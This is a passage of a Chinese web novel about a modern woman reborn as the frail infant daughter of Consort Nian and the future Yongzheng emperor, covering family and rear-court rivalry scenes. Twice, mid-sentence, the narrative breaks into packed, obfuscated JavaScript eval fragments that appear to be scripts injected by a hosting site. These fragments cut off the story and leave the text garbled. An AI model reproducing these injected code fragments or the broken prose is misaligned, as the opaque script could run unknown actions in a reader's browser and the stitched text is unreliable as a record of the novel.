《我娘是雍正白月光(清穿)》 3. 佛系等死 四爷?雍和宫! 自福满去了北京上学,就经常去那里逛。 明明是人来人往,游客云集的地方。但不知道为什么福满总能在这里,找到平静感和归属感。 就像回到了家。 那日福满如往常一样去了那里,却出了车祸。 救护车、警车接连赶来,她的身体被送往了医院,魂魄却是飘进了雍和宫。 福满苦中作乐的想,这倒是真的对上了。 还真成了‘她’的家了。 那她那个美人娘就是年羹尧的妹妹了? 福满忽然想起是有人喊过她‘年主子’。 姓年哎,她之前怎么就没想到呢。 福满确定了身份,脑子努力搜寻着相关信息。 拜铺天盖地的各路影视剧以及清穿热所赐,再加上之后她又经常去雍和宫转悠,即便福满不是历史专业,也快对这位四爷的信息如数家珍了。 尤其是各路绯闻八卦。 那些年四爷真的很忙,不是和清穿女打成一片,就是为国做鸭才宠年氏。 为国做鸭? 福满看着眼前的男人,其实相比于现代看到的皇帝画像,要年轻消瘦很多。 容长脸,眉眼细长,很典型的满人长相。说不上帅气,但相貌端正,身姿清瘦挺拔,大抵是生来身份尊贵,气质倒是很突出,眉眼自带一种久居上位的威严与从容。 福满暗暗对比年氏那张跟仙女似的美人脸。 这鸭的姿色不够吧? 福满摇了摇头,打断了自己的胡思乱想。 言归正传,如果她没记错的话,历史上年氏生的孩子好像都是早夭吧? 难怪她总觉得这副小身子没什么精气神,天天光是躺着都觉得累的不行。 四爷见那小人儿带着好奇的看他,心中不免有些愧疚。 临近年节,政务繁忙。他每日回府的时候这孩子都已经睡了。 小孩子记性又差,怕是已经忘了他这个阿玛了,也难怪会这般好奇。 想到此,四爷声音不觉又温柔了几分,“好孩子,阿玛以后早些回来,多陪你玩会。时辰不早了,快睡吧。” 福满:“……” 对不起,她不该以貌取人的。 四爷看着她小脸上丰富的小表情,心中激动,低头就亲了一口她粉嫩的脸蛋,还不忘夸赞,“真是个好孩子。” 福满:“?” 收回刚才的歉意! 这一个晚上左一口,右一口,福满都快抑郁了。 虽然这副身子是个小孩子,但里子是她这个成年人啊,被美人亲一口,虽然有些难为情,但也能接受。 被醉鬼亲一口,染了一脸的酒气,谁能喜欢啊。 福满撇了撇嘴,小眼神幽怨警戒的看着蠢蠢欲动的便宜爹。 四爷好笑的往后退了退,“好了好了,都是阿玛的错。” 真是个聪慧的孩子。 虽然不会说话,但什么都明白,透着股机灵劲。 年月明一进来就见父女俩大眼瞪小眼,一个幽怨,一个跃跃欲试。 她一靠近,小姑娘眼睛一亮,立刻伸出两只小手要她抱。 年月明将人抱进怀里,抚拍着后背安慰。 “满满这是怎么了?” 四爷轻咳一声,“……可能刚睡醒,闹觉。” 本来福满伸手让美人娘抱是为了逃离魔爪,谁曾想被她抱进怀里,自己竟是凭着小孩子本能抱着人撒娇委屈起来了。 反应过来,不禁有些脸红害臊,再次装死。 此刻听了这个便宜爹的话,便是连羞臊都顾不得,猛地回头看他。 谁知人家仍是笑的慈爱的看着她,哪里有丝毫睁眼说瞎话的不自然! 年月明看着一大一小两张脸的表情,岂会看不明白其中的官司。 这人吃醉了酒忒无赖,捉弄她还不够,还招惹小孩子。 年月明也没理他,转身抱着福满去了罗汉床上坐着。 她见小姑娘手中捏着一枚拳头大小的罗汉钱,捏的小手都有些发白了,便轻轻的掰了掰手指将那罗汉钱拿了出来。 “这是爷给四格格的压岁钱。” 人家不搭理他,四爷也不恼,见她拿着那枚金钱打量,解释道:“皇阿玛除夕夜命人取了六十诞辰铸的罗汉钱,给那几个年岁小的弟弟当作压岁钱。爷涎着脸讨了两枚,这个给你。” 他说着把荷包里另一枚罗汉钱拿了出来,塞到了年月明手心里。 年月明顿时粉面一红,“既然是压岁钱,爷给我做什么?” 那人偏还低笑出了声。 霎时手心里的那枚罗汉钱,仿佛热的能灼人一般。年月明羞恼的瞪了他一眼,伸手将那罗汉钱又还给了他。 只是却被他再次抓住,反手将她的手握拳将那枚罗汉钱,牢牢包在了手心里。 “给你的当然不只是压岁钱,好好收着。” 当着福满的面,年月明又怕他再耍无赖。虽不懂他到底卖什么关子,也只能先应着将手抽了回来。 福满坐在一旁,抱着另一枚罗汉钱一边玩,一边默默看戏。 “额娘明天给你打个络子装着。先放额娘这好不好?” 这人真是的,这么脏的东西就这么给孩子了,万一往嘴里塞怎么办。 福满瞧见她眼中的担忧,乖乖的将那枚金钱递了过去。 这是第一次有人送给福满压岁钱。 在现代是福满没见过父母,奶奶年轻丧夫,老年丧子,已经是心如死灰,对生活早就没了期待和热情,能将她养大已经是不易了。 虽然这个压岁钱不是给她的,但福满还是有些舍不得。 四爷瞧着闺女的眼神,心中软成一团,“满满喜欢就让她收着。有下人时时看着,你放心,不会出事的。” 这孩子眉眼生的和她额娘一样,一双干净澄澈的眼睛可怜巴巴的望着人,真真不忍她受半点委屈。 年月明又何尝舍得,不过又给福满叮嘱了好几句这才放心。 “时辰不早了,抱四格格下去歇息。” 四爷吩咐了,乳母立刻走近抱起了福满。年月明心知他要留下,满满便只能抱走,“乖乖,早些睡。” 福满记忆中,要么是睡在那张黄花梨木小床上,要么跟着年月明睡在拔步床上,反正没离开过这里。 如今要被抱去别的地方,身体竟升起一些雏鸟情结,抱着年月明不肯撒手。 年月明瞧着更是不舍,“爷去洗漱吧。妾身抱她过去。” 等年月明将福满哄睡了后,四爷已经洗漱完了。她刚靠近床榻,就被他拉进了怀里。 四爷抚着她闷闷不乐的脸,有些无奈,“现在你就这么不舍,等以后四格格出嫁的时候还了得。” 虽然他自己想起来这事,也觉得心里烦。 说者无心,听者有意。 年月明听了这话,心中一颤,方才白术说过的话,又在脑海中过了一遍。 虽然她知道这人将来会登基,虽然她知道若是她的四格格活下来,他定然不会,也不舍得委屈了她。 但年月明此时就是迫切的想得到一个保证。 她手指紧紧攥着四爷的衣袖,“四爷,以后满满嫁谁让她自己选好不好。妾身知道皇家的公主、郡主大多要和亲蒙古。若满满是个身子康健的。妾身就是忍着剜心之痛,也不敢让您为难。可四格格生来体弱,妾身真的怕……” 年月明说着说着不自觉带了哭腔。 塞外那种地方,就是身子骨不错的女子嫁过去都得掉层皮。 更何况她的四格格自娘胎里就带了不足之症,便是活下来,这身子骨也多半和她一样不中用。 四爷顿时有些哭笑不得,好声好气的哄道:“怎么还哭了?爷不过是随口一说,逗你的。咱们四格格还小,你怎么还考虑到她出嫁的事了呢。即便是真到了出嫁的年纪,爷又怎么舍得委屈了她。” 四格格是他们的第一个孩子。自她怀孕起,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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她那个美人娘简直是恨不得时时刻刻的看着她。即便是有事要忙,也有四个乳母和一堆丫鬟不错眼的盯着她。 如今得知了身份,福满反而没那么迫切的想法回去了。 她记得年氏的孩子大多夭折,按照历史线这孩子好像也活不多长时间。 等着这孩子夭折了,她自然而然就能会现代了呀! 这么想着,福满多日来惴惴不安的心,反倒平静了下来。 不过如果“她”夭折了,那个很爱她的女人,应该会很伤心吧。 也许是这些日子的相处有了些感情,也许是这副身子对母亲的本能,福满想到历史上早早病逝的年氏,能回到现代的喜悦不由得被冲淡了几分。 她情绪波动起伏再加上认床,来来回回翻身,折腾了半夜愣是没睡着。 直到天亮了,才迷迷瞪瞪的睡着了。 半晌的时候,刚睁眼就瞧见,一道纤细的身影轻轻进了来,隔着屏风往里瞧,福满瞬间就来了精神,自己坐了起来。 年月明本来要去正院请安,去之前进来瞧瞧才安心。 “额娘要出去,现在不能抱你。满满听话,再睡会,等你醒了额娘就回来了。” 福满见她梳妆打扮了一番,还换了一身浅丁香色的旗装,就猜测她要出去。果然听了这话更是抱着年月明不撒手了。 福满即便不是个好热闹的性子,但在没任何电子设备,以及消遣方式的屋里闷了好几日,也是想出去透透气了。 外面天冷,年月明自然不想带她出去受寒。 母女俩拉扯了一会子,直到福满厚着脸皮,按着小孩子本能磨人,年月明才无奈点了头。 只是出门前给她裹了厚厚的狐裘,又带了帽子,全身上下蒙的只剩了一双大眼睛,露在外面才算满意。 福满看着那大镜子里缩小版企鹅,深觉‘有种冷叫作妈妈觉得你冷’,无论放在哪朝哪代都是至理名言呐。 4.请安 自福满来了这些日子,一直被人抱着走,这两条小腿都快不知道咋走路了。 她拒绝了乳母,自己迈着小短腿缓慢移动着步子。 今日是大年初一,早晨福晋得进宫请安,这一来一回折腾的时间长。她们现下去正院请安,倒也不算晚。 年月明便由着她慢慢的挪动着小短腿。 福满志气不小,可惜没走多远,她这副身子,就像是耗完了电量一样,开始感觉到累了。 年月明见她走不动了,伸手想将她抱起来,却被福满拒绝了。 她指了指年月明的鞋子不肯伸手。 在自己院里,年月明基本穿的都是软底绣鞋,这花盆底她确实不怎么穿的惯。昨日又下了雪,地上滑,所以她走路更加小心翼翼了。 不想这么小的细节,竟是被这孩子瞧出来了。 年月明心里软成一片,本想摸摸她的小脸,但可惜粉嫩嫩的团子,被包裹的严严实实的,只能轻轻拍了拍她的脑袋。 “额娘的满满真是个聪明的好孩子。” 乳母有眼色的上前将福满抱了起来,一行人继续朝春熙院而去。 刚绕过西花园,就和从东边来的李氏迎面遇上了。 年月明和李氏交集不多,互相见礼后便想继续走。 不想李氏竟是主动走到了福满旁边,“四格格今年三岁了吧。倒是少见年妹妹抱她出来走动。四格格叫声李额娘听听。” 李氏说着伸着带了纤长护甲的手就要去碰福满。 出于本能,福满下意识往后躲了躲。乳母见状,也急忙抱紧福满往后退了两步。 李氏没碰到人,又瞧着那一老一小一仆一主脸上带着防备,瞬间脸色就不好看了,张嘴便责问道:“年妹妹怎么调教的人?四格格按规矩也该喊我一声李额娘吧。我还不能亲近亲近她吗?” “李姐姐别见怪,四格格不常见李姐姐,有些认生罢了。”年月明随口应了一句,从乳母怀里接过了福满轻轻哄着。 她看到刚才这孩子,眼睛盯着李氏的手瞧,想来是有些害怕了。 李氏本是带着气问责,却被年月明不轻不重的随口应付了,颇有些一拳打在棉花上的感觉。 “年妹妹便是宠溺四格格也要有个度,莫要惯坏了孩子。我们二格格小时候不到一岁就会喊人了。四格格这都三岁了还不会喊人,是妹妹平日里偷懒没教?还是这四格格真如传闻说的……” 李氏说着刻意停顿了一下,颇为关心的看向年月明,“妹妹还是赶紧让四爷请太医来,给四格格好生诊治诊治吧,免得耽误了。” 福满的脑袋搭在年月明的肩膀上,听到李氏拐着弯说她有病,无奈的同时,不禁为自己方才的行为感到懊恼。 小时候家里陈旧的电视机里经常放西游记,福满最害怕的一幕,就是老鼠精长长的红指甲,一点一点的插进和尚的头颅,甚至还做过一段时间噩梦,梦到老鼠精来掐头皮。 所以刚才李氏的手忽然伸过来,即便没有恶意,但福满潜意识里的恐惧已经超越理智了,不自觉的往后躲了躲。 如今理智回笼,瞧着李氏不依不饶的架势,她才意识到自己好像给美人娘惹麻烦了。 正在福满担心年月明受欺负之时,却听她不徐不慢的道:“多谢李姐姐挂念。不瞒李姐姐,我之前也曾担忧这孩子莫不是个傻的。四爷却说,阳明先生长至五岁尚不能言,一开口却是惊艳四座,后面还能龙场悟道,比肩圣人。” 年月明虽是性子温和,却也不是怯懦的受气包。 往日不接李氏的挑衅,一是懒得搭理,二是没碰到她的底线。 此时李氏竟当着她的面说福满有病,年月明如何能忍。 她本来就个子高,又穿了花盆底,足足压了李氏一头。明明脸上带着笑容,却是气势摄人,逼得李氏有些不敢直视。 李氏面色讪讪,年氏都搬出来四爷了,她哪敢说不对。 “年妹妹还真是长了张巧嘴。” 年月明低眉浅笑,“李姐姐过奖了。其实依我看,我也没瞧出来这点小人儿有什么悟性,分明是个懒丫头才对,也就是四爷看自己闺女怎么看怎么好。” 言外之意,他们当阿玛额娘的都还没说呢,你这个外人算个什么东西。 李氏脸色僵住,她倒是少见年氏这般咄咄逼人。 “我不过是好言关心两句,年妹妹何必恼呢?还搬出四爷压我。” 拐弯抹角骂完人家有病,她倒还成了好心了。 福满实在佩服李氏的脸皮。 年月明也是无语,“就不牢李姐姐挂念了。倒是妹妹得提醒李姐姐一句。开口讥诮人,是轻薄第一件,不惟丧德,亦足丧身呢。” 简言:积点口德。 这是拐着弯骂李氏嘴贱呢。 李氏一张脸就跟变戏法似的红了黑,黑了红。 福满没忍住噗嗤笑了出来。 这下子李氏的脸彻底黑了。 年月明不给李氏还嘴的机会,抱着福满转身就走。 福满趴在年月明的肩膀上往后看,只见李氏咬牙切齿的嘀咕,“不过是个傻子哑巴,瞧她那得意劲儿。什么龙场悟道,什么圣人,一张嘴还能吐出来金蛋不成?这丫头现在不会说话,还能推说年纪小,日后看她嫌不嫌丢人!” 李氏说的小声,但福满前世是个哑巴,会看些唇语,大致能看出李氏的意思。 这种话她前世听的多了去了。刚开始还会有些难受,听的多了也就习惯了。她会让自己变得更加优秀,优秀到让别人不止看到自己的缺陷。 只是也许是刚才她被保护着,也许是身体本能,福满还是忍不住蹭了蹭抱着她的女人。 其实这幅小身子是能发声的,只是她害怕,也不习惯张口而已。若是年氏想要个会说话的女儿,她可以—— “乖乖,咱们不听那些污言秽语。你会不会说话额娘不在乎。额娘只要你平安长大就心满意足了。” 女人温柔慈爱的声音在耳畔响起,打断了福满的思考。 她吸了吸鼻子,将脸埋进了那纤长温暖的脖颈里…… 她们到正院的时候福晋还没出来,几个侍妾格格已经到了,见年月明进来忙起身行礼问安。 年月明直接让人起来,坐下后亲自将包着福满半张脸的狐皮围脖取下。 终于呼吸透气的福满张嘴迫不及待的呼了口气。 她本就生的玉雪可爱。往日里精神头不足,好看是还看,但就像个没有生机的漂亮瓷娃娃,让人不敢逗弄,生怕一触碰就碎了。如今这小脸上小表情丰富,神采奕奕的,瞧着就让人喜欢。 那几个格格看的眼热,你一言我一语的都快把福满夸成朵花了。 谁都喜欢听好话,尤其是说自己孩子的好话,年月明也不例外。 她一高兴,便将大哥年希尧命人送来的西洋纺织品,当新年贺礼送给了大家,便是后面赶来的李氏都没落下。 那个大方劲儿看的福满一愣一愣的。若是她没记错,现在的年代舶来品还是挺稀罕的吧。 不过瞧着李氏皮笑肉不笑,不想收但又不舍得拒绝的表情,福满便释怀了。 她偷乐的时候,只听一个温和的女声和年月明说道:“妾身前些日子给四格格做了双鞋,还望侧福晋不要嫌弃。” 福满顺着声音望过去,说话的是年月明下首的一个年岁稍长,眉眼温和的女人。 她正猜度着这人身份之时,就听李氏嗤笑一声,“宋格格倒是会巴结人。” “奴婢也‘巴结’过李侧福晋。只是二格格身子金贵,一穿奴婢做的衣裳就浑身不舒坦。奴婢就不白费力气了。”宋氏直直的看向李氏,竟是没有因着身份低退让半分。 “二格格是王爷唯一养大的女儿,自然是金贵的。平日里穿的衣裳从布料到做工,都是顶级的。偶尔穿了那等差的衣裳,自然浑身不舒坦。” 李氏得意的笑着,口中咬紧了‘养大’二字。 此话一出,宋氏眸中黯然,哪还有刚才不相让的锐气。 “我倒是瞧着宋格格心灵手巧的很。”年月明说着扯了扯福满的衣裳,给大家看了看,“瞧四格格这袖子上的迎春花,都能以假乱真了。我自小就手笨,学不来这些。多谢宋姐姐费心了。” 年前年月明陪嫁的绸缎铺子,送来了不少好料子,年月明让人捡好的挑了,送了后院女眷。 宋氏那儿自然也不例外。 宋氏是个懂得感恩的人,半个月后给福满做了身小衣裳送来了。 年月明心里记着宋氏的好,自然不会看着她下不来台。 在座女眷都不是傻子,能看明白年侧福晋在为宋氏解围。换了往日她们大可以笑笑打哈哈,两个侧福晋谁也不得罪。但今日刚刚收了年侧福晋贵重的西洋纺织品,哪里好意思不张嘴呢。 耿氏性子直爽,此时又拿人手短,便主动笑着道:“侧福晋还真别说,宋姐姐女红确实好。瞧着不比年前儿宫里的娘娘,赏给弘昼几个的衣裳的绣工差什么。钮祜禄姐姐,你说是不是?” 钮祜禄氏历来便是不爱搭话的性子。 此时被耿氏提到,不得不笑着应了声是。 有耿氏打了个头,众人纷纷称赞宋氏女红了得,然后聊起绣花丝织品,顺道把这茬揭过去了。 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这时四福晋那拉氏终于出来了。 众人行礼之后,那拉氏歉意一笑,“大早上进宫吹了会北风,有些偏头疼。回来后小憩了一会,不想竟误了时辰,让各位妹妹久等了。” “福晋昨个儿还好好的,怎的进了趟宫的功夫还病了?怕不是得了心病吧。”李氏噗嗤一笑,眼神在福晋和年月明之间流连。 李氏一早上被年月明拐着弯反骂了一顿,哪里忍得住心头的火气,此时打量着她那张泛着春情的脸庞,等着看好戏。 只是那拉氏却不接她话茬,反而笑着和年月明道:“早上四爷说年妹妹身体有恙,已经免了年妹妹请安了。年妹妹怎么还过来了?” 年月明听了福晋这话,便脸皮再厚都得脸红,更何况她本身就脸皮薄,只能低着头装作谦卑的模样,“多谢四爷和福晋体贴,平日里容得妾身躲懒。今日是大年初一,合该来给福晋请安的。” 都怪他昨晚吃醉了酒耍无赖,非得缠着她说什么罗汉钱的民间寓意。昨个儿还是除夕夜,他留在清辉院,大半夜叫水,别人又不是傻子。 那拉氏很满意她的懂事,似笑非笑的看向李氏,“年妹妹最是知礼,便是我与四爷多体贴几分,也不会轻狂得意。李妹妹说是不是?” 李氏见那拉氏不受挑拨,撇了撇嘴,“妾身不过是关心福晋身体。瞧福晋还扯上什么礼数不礼数的。” 当年谁不是小心做人呢,只是一旦有了依仗,怎么还会愿意仰人鼻息。年氏不过是还没个阿哥傍身,不得不装模作样罢了。 那拉氏自然看的清楚李氏所思所想。 年氏是权宜之计也罢,是真心敬重她也罢。 反正如今瞧着是恭敬的很,这便够了。 况且四爷喜欢柔顺的女子,年氏敢嚣张,就是步李氏后尘,到时候自然有旁的女人取代她。 “我最是了解李妹妹的性子。在府上说说,倒也无伤大雅。只是还是当心些吧,免得祸从口出,惹出不必要的是非来。你们也一样。” 那拉氏威严的眼神在众人脸上划过,听见齐声应‘是’才满意的点了点头。 “外面天冷,年妹妹怎么还把四格格抱来了。快过来给嫡额娘瞧瞧。” 在一旁看戏的福满忽然被提及,有些茫然的抬头看了看年月明。 年月明笑着摸了摸她的头,柔声鼓励,“去吧。” 福满点点头,也不用乳母抱,自己慢悠悠的走了过去。 那拉氏脸上露出慈和的笑容,仔细打量了几眼福满。 四格格这都三岁了,但是她见过的次数倒还真不多。 现在仔细一瞧,当真是随着年氏和四爷的优点长了。尤其是眉眼生的和年氏别无二致,也怪不得四爷那么喜欢了。 不过再受宠也是个病秧子,这么小就用药吊着,八成是养不大的。 对于一个注定夭折的孩子,那拉氏乐得做个慈爱大方嫡母,又是问吃穿又是问身体,还大手一挥让人赏了福满不少东西。 等福满回到年月明身边的时候,就见丫鬟带了两个年轻貌美的女子进了来。 那拉氏见众人迷惑,笑着解释道:“德妃娘娘怜惜四爷子嗣稀薄,所以赏了两个妹妹进府。日后大家还要和睦相处才是。” 随后又让她二人给年月明和李氏见个礼。 年月明望着乌雅氏的脸,一双纤手不由自主的有些颤抖,不自觉的捂住了心脏…… 5.年年生气 年月明望着乌雅氏那张娇艳的脸,一双纤手不由自主的有些颤抖,紧跟着重重往事映入脑海。 她的福宜,才刚刚半岁多点,小小的脸上满是水痘,临走前还哭着喊额娘…… “既然进了府大家都是姐妹了,年妹妹何必为难她们呢。快让她们起来吧。” 李氏的声音将年月明从痛苦的回忆中拉了出来。 她没搭理李氏,一只手捂着心口,脸色霎时变的苍白虚弱起来。 那拉氏大惊,急声吩咐人去请府医。 过了会儿,年月明吃下白术喂的丸药好了一些,才轻轻摆了摆手,有气无力的和那拉氏说道:“妾身没事,福晋不必担忧,也不必去请大夫了。今日是初一,没得冲了喜气。” 那拉氏面上忧心不已,“年妹妹还是让大夫来瞧瞧吧,万一耽误了身子可怎么好。” 年氏有心疾,若是在她这里犯了病,不管是不是她的责任,落到四爷眼里都成了她的错了。 年月明哪里不知那拉氏所想,扯了扯嘴角,“让福晋担忧了。妾身这病是老毛病了,不碍事的。倒是吓到福晋和众位妹妹了。” 那拉氏见她确实无碍了,脸上这才又有了笑模样,“年妹妹身子无碍就好。” 既然年氏把她摘了出来,她也不愿意大过年的,请大夫来徒增晦气。 那拉氏说完,又看向跪着的乌雅氏和张氏,不觉带了几分不喜,“你俩起来吧。” 这个插曲过后,年月明才发现福满正紧紧的抓着她的衣裳,小脸上尽是紧张和担忧。 她心中软作一团,冲福满温柔地笑了笑,又将她的小手握在手里,无声安抚。 新人行礼过后,那拉氏又和众人说了些立规矩的话。随后将宫里娘娘们赏赐的新年礼物赏了下来。一番恩威并施结束,直到巳时半刻了。 回去的时候,福满看出年月明心绪不佳,乖乖的让乳母抱着,只是眼神望着她仍有些担忧。 母女俩回到清辉院之时,膳食早就已经备好了,换了家常衣衫,简单洗漱过后就用起了早膳。 年月明心事重重,本来就胃口不好,此时更用不下去什么东西,凑合用了两口血燕粥就放下了。 她今日看到乌雅氏,不仅仅是因为想起了前世的痛处,还是因为那种不可逆转的宿命感又涌了出来。 前世除夕夜年月明跟着进宫了,德妃娘娘见她入府之后,府里就只添了一个四格格,认定是她霸着四爷,所以赐了乌雅氏和张氏进府,还亲自指定了乌雅氏住清辉院。 德妃娘娘是长辈,年月明无法拒绝只能应下。 四爷顾忌着生母面子,也只能暂且应下。 回府后,却随便寻了个理由,将乌雅氏打发去了别处。也许乌雅氏觉得是年月明心中不愿,才让四爷将她赶出了清辉院,所以心中嫉恨,后面才会将心思动到了福宜身上。 那被出过天花的人用过的棉絮,神不知鬼不觉的就出现在了,福宜盖着的锦被中。 才七个月大的孩子,就出了天花,结果可想而知了。 这一世年月明除夕夜并未进宫,可是乌雅氏还是进府了。 年月明不怕乌雅氏,她怕的是不可逆的命运,怕自己念了一辈子的女儿,再次被上天夺走。 她想的出神,直到福满伸手拉了拉她的袖子,她才回过神来。 那粉雕玉琢的小姑娘拧着眉头,伸着小手把那碗血燕粥朝她推了推。 年月明冲她笑了笑,“额娘吃饱了,满满多吃些。” 这孩子心思实在是机警灵敏,连她心情不佳都看出来。 年月明心中爱怜,端起小碗道:“额娘喂你好不好,多吃一些才能养好身子。” 福满撇着小嘴,看了一眼她不盈一握的细腰,不言而喻。 年月明看着她质疑的小眼神,既心软又觉得好笑,“真是个小人精。好,额娘吃,满满也吃。” 直到年月明重新端起那碗血燕粥吃了,福满这才满意,勉强吃下了那一碗鱼片粥。 倒不是福满不喜欢,恰恰相反,她非常想多吃一些。 要知道清辉院的小厨房是年月明被指婚后,四爷特意命人建的。 她饮食格外讲究,出嫁的时候年家还专门陪送了四个厨娘。所以这一桌子膳食,那真是色香味俱全。 福满看着食味大开,只可惜她还没过足嘴瘾,她这鸽子胃就开始撑得慌了。 刚用完膳,福满就开始打哈欠了。 她昨晚一晚没怎么睡,早晨又出去折腾了一圈,现在是又困又累。年月明同样累的不行,母女俩索性回床上睡了个回笼觉。 午膳的时候,年月明醒来用了一盏滋补的药膳。 福满却是困极了,任年月明如何哄,都哼哼着不肯睁眼。年月明只能吩咐小厨房温着膳食。 交代完之后她再次躺到了床上,身边是带着奶香,睡着香甜的小娃娃,她的睡意也很快上来了。 等她再次醒来的时候,摸出怀表一瞧,已经快两点了。 年月明睡足了,心中那股烦闷也散了许多。 所有的恩怨都已经是上辈子的事情了。 她们害了福宜,然后被四爷处置了。 所有的仇恨算是一笔勾销了。 这辈子乌雅氏还没作恶,年月明也不会去主动作孽害她。 只是防人之心不可无。 这么想着,年月明悄悄起身,去了外间,吩咐白术,“找个机灵的,私下盯着些乌雅氏。” 白术想起今早请安的事,察觉出主子的异样,“主子是觉得乌雅氏哪里不对劲?” “瞧着乌雅氏,我心里总有些不踏实。提防着些总没错。” 白芷在一旁捂嘴笑,打趣道:“主子是担心王爷吧。” 那倒不是。 不过年月明也没反驳,笑骂了她一句,“死丫头,胡说些什么。” 今日是她和乌雅氏第一次见面,而她却表现的对乌雅氏如此忌惮,除了吃醋拈酸,好像也没旁的理由了。 白术见年月明这反应,只当被白芷说中了,提着的心也放下了,笑着宽慰,“主子放心,任她是谁,也抢不走王爷的心。” 白芷也道:“是啊,奴婢还听说这两位住哪,都是福晋安排的,王爷连管都没管。” 这话若是前世年月明听了或许会心中泛甜。但她经过生死一场,对情情爱爱也看淡了许多,如今心中想的,更多的是她的孩子们。 她笑了笑,不置可否。 * 到了两点多,年月明见福满还未睡醒,到底怕她饿坏了身子,将人唤醒了。 这次福满终于养足了些精神气,没用怎么哄就睁开眼睛了。 福满刚刚睡醒脑子都有些懵,雾蒙蒙的眼睛里对年月明尽是依赖,小脑袋情不自禁在她怀里蹭了蹭。 年月明一边抱着她安抚,一边吩咐人传膳。 膳食都是提前准备好,放在炉子上随时温着的,很快就摆了上来。 只可惜早晨福满强吃下去的那碗鱼片粥,还没消化多少,只吃了小半个奶勃勃就不肯再张嘴了。 年月明无法,只能让人把膳食撤了,想着过两日请刘太医开个方子,好生给她调理调理胃口。 屋外几个丫鬟扫雪,有性子跳脱的还堆了雪人玩。福满隔着窗子看了好一会儿,可惜这身子受不得凉,不能出去。 她回头见年月明斜倚在床上拿了本书在看,于是也跟着爬到了床上坐在她旁边跟着看。年月明当她看不懂,但瞧着她乖乖的不哭不闹,便也就由着她了。 结果母女俩越看眉头皱的越紧。 福满是被震惊到了,不是说古人保守谈色性变嘛。这话本写的比动不动口口的某江可劲爆多了! 什么月下会丫鬟,什么偷偷溜到小姐闺房…… 年月明则是被气的,这话本的内容结合着今早请安种种,读到结尾,气的将那话本丢到了一边,骂道:“什么劳什子,拿去烧了。” 白芷将那书捡了起来,却犹豫的说道:“主子息怒。这书是……是王爷拿来的。” 年月明自然知道,却是更气了,捏着帕子抹起泪来。 四爷刚进门就见母女俩一个抹泪,一个急的团团转,快步走了过去挨着床榻坐下,焦急的问道:“这是怎么了?” 年月明不理他,兀自捻着绢帕默默垂泪。 一双美目哭得泛红,让人看着心都疼了。 四爷揽住人正要哄,就见旁边的小女娃,睁一双明净清澈的眼睛盯着他看。 父女俩对视一眼,福满伸手,颇为体贴的把白芷手里的话本,递给了他,还顺势将人上下打量了一番。 四爷从宫里回来,回了前院换过衣服,才往后边来的。 只见他穿了一身宝蓝色团寿纹锦袍,腰间缀一块白玉吊坠,身姿挺拔,精神利落。 看着挺正经啊。 果然人不可貌相。 四爷扫了一眼手上的话本也有些惊诧。 这话本是市面上挺畅销的才子佳人一类,他就看了个开头,实在没想到后面是这样的发展。 男主与心上人之兄有隙,被其怀恨加害,导致有情人分离。男主四处奔波,只求有情人终成眷属。 他还曾称赞此子是个痴情人。 谁知结局竟然一日娶三妇? 实在令人咂舌。 察觉到自家闺女奇奇怪怪的眼神,四爷赶紧让白芷把她抱到次间去了。 等福满被抱走后,四爷瞧着红着眼眶,转过身去不肯理他的美人儿,顺势侧躺下揉着那截塌下去的细腰。 昨天他吃了酒,有些不知轻重,怕是累到她了。 “爷这是怎么招惹你了?不过是个话本,也值当你生气。”他声音里带着疏懒的笑意。 年月明她确实看那话本看的恼火,但若只是话本倒是不至于恼成这样。 可这混账不止看,还借其中典故写 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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四爷听着她阴阳怪气,眉头微微一蹙,仔细想了想,才将她的话,和昨日额娘赏人那茬子事联系在一起。 不过是两个侍妾,进了府分间房,养着便是了。这后院女人不少,他还能都看进眼里去? 四爷不以为意,但瞧着眼前美人儿拈酸吃醋的模样,既心怜又欣喜。 他手撑着脑袋,轻笑着打趣,“月儿这是吃醋了?爷都不记得她们长什么样,就先被你定了罪。你这判官审案子有失偏颇,当心判出冤假错案来。” 年月明本来心口憋着口气,就想讽刺他几句。谁知人家竟是丝毫没往心里去,还反过来油嘴滑舌的调侃她。 她气的瞪他,却被他搂着腰抱在了怀里。 咫尺之间,四目相对,四爷笑过之后,正色道:“我什么心思,你不明白吗?” 自她进府后,除了按照规矩偶尔去福晋那一趟,他就没去过别的院了,她怎么就不明白呢? 年月明迎着他的目光,被其中情意灼的心中一缩。 前世种种在脑海中回放,她就是因为太明白了,才会夹在他与二哥之间牵肠挂肚。 这一生她不想活的那么明白了。 年月明装作羞涩垂下眼睑,只有紧紧的攥着衣角的纤纤玉指,暴露了她内心的不平静。 四爷瞧在眼里,思索了一会儿,也没想清楚她到底在想什么。 她这种书香门第里教养出来的姑娘,书读得多了就有些敏感多思,一颗心总仿佛隔着一层氤氲的雾,朦朦胧胧的,让人想抓也抓不住。 他只能多费心思去猜去悟,才能哄着她露出笑脸。 …… 满人一日只用两顿饭。而年月明是在湖广一代长大,家中又是汉人,用膳习惯和满人有些不同。到了傍晚小厨房又备了晚膳。 四爷本来就不想离开,索性一块留下用晚膳。 直到用膳时,福满看看这个看看那个,见俩人又恢复了往日神色才放心了。 四爷见她一双乌溜溜的眼睛转来转去,稀罕的不行。 这孩子虽然仍然是瘦弱的不行,但精气神充足,瞧着像是比之前健康有活力。 有活力好啊,有活力就说明能活下来。 四爷欢喜,不理乳母劝阻,接过小碗,亲自喂她。 一顿晚膳下来,福满吃的受宠若惊。 她实在难以将眼前对她一脸慈爱的男人,和历史上以严苛勤政出名的雍正帝结合起来。 直看的她那便宜爹作势要亲她,才吓得赶紧找美人娘求救。 逃离后魔爪之后,福满趴在年月明怀里,才后知后觉想起了年羹尧和雍正的奏折往来。 雍正可是能和年羹尧说出来‘朕实在不知道怎么疼你’这种话的人,哪里是什么冷面王呢? 都是刻板印象啊…… 6.福晋心思 这边,苏培盛按照四爷的吩咐来了春熙院。 